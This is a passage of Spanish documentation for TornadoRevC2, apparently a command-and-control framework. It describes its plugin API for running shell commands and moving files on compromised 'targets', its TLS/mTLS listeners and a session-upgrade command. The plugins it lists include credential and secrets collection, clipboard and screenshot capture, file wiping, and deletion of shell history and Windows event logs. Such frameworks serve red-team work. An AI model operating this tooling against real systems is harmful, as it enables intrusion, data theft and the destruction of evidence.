| Clave | Tipo | Propósito |
|-----|------|---------|
| `summary` | `dict` | Recuentos y estadísticas de alto nivel; renderizado primero por `format_generic_report()` |
| `error` | `str` | **Fallo grave** — el runner imprime el error y devuelve el código de salida 1 |
| `traceback` | `str` | Opcional; se registra como detalle cuando `error` está establecido |
| `reason` | `str` | **Fallo leve** — usar con formateadores personalizados (p. ej., portapapeles no disponible) |
| `ok` | `bool` | Indicador de éxito para plugins operativos (captura de pantalla, portapapeles) |
| Listas de `dict` | `list` | Renderizadas como tablas por `format_generic_report()` |
| Listas de `str` | `list` | Renderizadas como listas con viñetas |
| `dict` anidado | `dict` | Renderizado como secciones etiquetadas |
**Degradación gradual:** Para la enumeración de múltiples secciones, use claves de dict separadas por sección y capture las excepciones localmente. No establezca `error` de nivel superior a menos que todo el recolector haya fallado—los resultados parciales son preferibles.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
Pasa un formateador personalizado a run_collector_plugin en lugar de format_generic_report:```python
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)
Helpers reutilizables en `plugins/shared/common.py`:
| Función | Propósito |
|----------|---------|
| `format_generic_report(data, title='Results')` | Renderizador predeterminado de tabla/sección |
| `format_section(title, fields, width=22)` | Sección clave-valor |
| `format_list_section(title, items, empty='(none)')` | Lista con viñetas |
| `format_table_section(title, rows, columns)` | Filas de dict como columnas |
| `format_firewall_report`, `format_memorymap_report`, etc. | Formateadores específicos de plugins |
### Plugins específicos de plataforma
**Solo Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
Solo Linux:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )
**Multiplataforma con constructores divididos:**
Algunos plugins compartidos delegan a módulos constructores específicos de la plataforma (p. ej., `virtualization` importa desde `linux/virtualization.py` y `windows/virtualization.py`). El punto de entrada `@plugin.command` permanece en `shared/`; los módulos constructores bajo `linux/` o `windows/` no contienen decorador y no se registran como plugins independientes.
### Plugins externos
Los plugins externos te permiten extender TornadoRevC2 sin modificar el repositorio.
**Configuración:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
Flujo de trabajo:```bash
plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin
**Ciclo de vida externo vs integrado:**
| Acción | Plugin integrado | Plugin externo |
|--------|-----------------|-----------------|
| `plugins unload` | Deshabilitado temporalmente (el módulo permanece importado) | Completamente descargado y desregistrado |
| `plugins reload` | Reimporta el módulo, limpia registros de comandos obsoletos | Elimina de `sys.modules`, reimporta desde disco |
| Inicio | Cargado automáticamente | Cargado bajo demanda |
Los módulos externos se importan como `tornado_ext_plugin_<name>` para evitar colisiones de espacio de nombres.
### API de SessionContext
Cada handler recibe un `SessionContext` que envuelve el handler y el socket del cliente:
**Propiedades de metadatos:**
| Propiedad | Tipo | Descripción |
|----------|------|-------------|
| `session_id` | `str` | Identificador de sesión asignado |
| `platform` | `str` | `unix`, `windows` o `unknown` |
| `is_windows` / `is_unix` | `bool` | Indicadores de conveniencia de plataforma |
| `sysinfo` | `dict` | Información del host en caché de la recopilación `sysinfo` |
| `identity` | `dict` | Metadatos de identidad/huella de la sesión |
| `addr` | `tuple` | Dirección remota |
| `tls` | `bool` | Indica si la sesión usa TLS |
| `name` | `str` | Nombre amigable asignado por el operador |
| `fingerprint` | `str` | Huella estable del host |
| `logger` | `SessionLogger` | Escritor de log por sesión (puede ser `None`) |
| `colors` | `dict` | Códigos de color de consola |
| `socket` | socket | Socket de cliente sin procesar (uso avanzado) |
**Métodos de ejecución:**
| Método | Descripción |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Envía comando, espera salida, devuelve string |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Transmite salida con detección de inactividad; útil para comandos de larga duración |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Ejecuta el comando apropiado para la plataforma y extrae el payload marcado |
| `get_cwd()` | Devuelve el directorio de trabajo remoto |
| `collect_sysinfo(mode='stealth')` | Activa la recopilación de información del host |
**Métodos de transferencia:**
| Método | Descripción |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Sube archivo al objetivo |
| `download(remote_path, local_path, resume=False)` | Descarga archivo desde el objetivo |
| `verify_remote(remote_path)` | Verifica el tamaño y SHA-256 del archivo remoto |
**Registro y salida:**
| Método | Descripción |
|--------|-------------|
| `print(text, color=None)` | Imprime en la consola del operador con color opcional (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Añade evento con marca de tiempo a `session.log` |
| `log_command(cmd, output)` | Registra comando y salida en `session.log` |
| `log_plugin_result(name, report, detail='')` | Escribe informe en `logs/<session>/plugins/<name>_<timestamp>.log` |
### Manejo de errores y códigos de retorno
| Retorno | Significado | Comportamiento del handler |
|--------|---------|------------------|
| `0` | Éxito | No se muestra advertencia |
| `1` (o cualquier valor distinto de cero) | Fallo | Advertencia amarilla: `Plugin 'name' returned code N` |
| Excepción no capturada | Error | Mensaje de error rojo; registrado en el log de sesión |
**Modos de fallo del colector** (gestionados por `run_collector_plugin`):
| Condición | Comportamiento |
|-----------|----------|
| Timeout / sin marcadores en la salida | Salida 1, registra "no response" |
| Salida no es JSON válido | Salida 1, registra salida sin procesar (truncada) como detalle |
| `data["error"]` presente | Salida 1, imprime error y traceback |
| Fallos parciales de sección | **No** debe establecer `error` de nivel superior; dejar la sección vacía |
**Fallos suaves** (plugins operativos): Use `reason` o `ok: false` y gestione en un formateador personalizado o handler personalizado en lugar de depender de la comprobación estricta de `error` del runner.
### Mejores prácticas
1. **Prefiera comandos nativos del SO** sobre herramientas subidas—se alinea con el diseño de dependencias ligeras del framework.
2. **No escriba archivos en el objetivo** para enumeración; devuelva datos a través del canal shell. Los plugins operativos (wiper, historydel) son excepciones con propósito claro.
3. **Degrade con gracia** — sondee cada backend de forma independiente; secciones vacías superan al fallo total.
4. **Limite el tamaño de salida** — recorte listas a 50–80 elementos; trunque cadenas largas a 200–500 caracteres.
5. **Establezca timeouts realistas** — sondeos rápidos: 15–30s; enumeración exhaustiva: 45–75s.
6. **Registre de forma consistente** — llame a `session.log_event()` al inicio, `session.log_plugin_result()` al completar, `session.log_command()` para exportación de transcripción.
7. **Valide argumentos temprano** — devuelva 1 con mensaje de uso antes de enviar cualquier cosa al objetivo.
8. **Pruebe desde ambas consolas** — handler principal (`run plugin <ID>`) y sesión adjunta (`switch` luego `run plugin`).
9. **Use `plugins reload`** durante el desarrollo para recoger cambios sin reiniciar el handler.
10. **Limpie marcadores sensibles** de la salida recopilada si su plugin lee contenido de archivos arbitrarios.
### Implementaciones de referencia
| Plugin | Archivo | Patrón | Notas |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Colector multiplataforma | Degradación con gracia multi-backend |
| `ports` | `plugins/shared/ports.py` | Colector multiplataforma | `ss` / `Get-NetTCPConnection` nativos |
| `history` | `plugins/shared/history.py` | Colector multiplataforma | Constructores Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Handler personalizado | Argumento PID, constructor dinámico |
| `screenshot` | `plugins/shared/screenshot.py` | Handler personalizado | Base64 en JSON; guardado PNG del lado del operador |
| `clipboard` | `plugins/shared/clipboard.py` | Handler personalizado | Fallo suave vía campo `reason` |
| `historydel` | `plugins/shared/historydel.py` | Handler personalizado | Destructivo; limpieza shell post-colector |
| `wiper` | `plugins/shared/wiper.py` | Handler personalizado | Destructivo; validación de argumento de ruta |
| `services` | `plugins/windows/services.py` | Colector solo Windows | Punto de entrada mínimo |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Colector solo Windows | Destructivo; reporte de fallo por log |
| `rdp` | `plugins/windows/rdp.py` | Colector solo Windows | Enumeración de registro y firewall |
| `virtualization` | `plugins/shared/virtualization.py` | Entrada compartida + constructores divididos | Importa constructores `linux/` y `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Colector solo Linux | Listado restringido por plataforma |
Para nuevos plugins de enumeración, comience desde `run_collector_plugin` en `plugins/shared/runner.py` y copie el diseño de `firewall.py` o `ports.py`. Para plugins con argumentos o efectos secundarios, consulte `memorymap.py` o `wiper.py`.
---
## Registro de sesiones
Cada sesión escribe en un directorio aislado bajo `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
Los registros del plugin contienen un informe legible por humanos y, cuando corresponde, la carga útil JSON sin procesar devuelta por el recolector remoto.
TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)
---
## Configuración de TLS y mTLS
TornadoRevC2 ejecuta tres listeners aislados, cada uno con su propia fuente de certificados. Todo lo que está bajo `tls_certs/` y `mtls_certs/` se genera automáticamente en la primera ejecución y nunca se sobrescribe.
| Listener | Puerto | Autenticación de cliente | Certificados |
|----------|------|-------------|--------------|
| TCP | `4444` | ninguna | — |
| TLS | `8443` | solo servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | mutua (se requiere certificado de cliente) | paquete `mtls_certs/` |
### TLS
Se genera automáticamente como un par autofirmado (`CN=localhost`, RSA-2048, 3650 días).
Para proporcionar el tuyo propio:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
Si el cliente se conecta utilizando una dirección IP, el certificado del servidor debe incluir esa IP en su Subject Alternative Name (SAN). Evite deshabilitar la verificación del nombre de host a menos que exista una razón específica para hacerlo.
En la primera ejecución, se inicializa una PKI completa bajo mtls_certs/:
ca.pem / ca.key — CA autofirmada (RSA-4096, CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — certificado del servidor firmado por la CAclient.pem / client.key — certificado del cliente firmado por la CAca.srl — contador de serie de OpenSSL generado durante la firma del certificadoDistribuya client.pem + client.key + ca.pem con el cliente autorizado. El cliente debe presentar su certificado al conectarse o el handshake será rechazado.
Comience con rutas explícitas:```bash
python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### Actualizar una sesión activa a mTLS
Las sesiones existentes en TCP simple o TLS con autenticación de servidor se pueden trasladar al listener mTLS sin reiniciar el handler. El plugin `upgrade_mtls` sube `client.pem`, `client.key` y `ca.pem` al objetivo, lanza un shell en segundo plano que presenta el certificado de cliente y (por defecto) elimina el bundle del disco una vez que la nueva sesión está activa.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| Flag | Predeterminado |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
Este proyecto está licenciado bajo la GNU General Public License v3.0.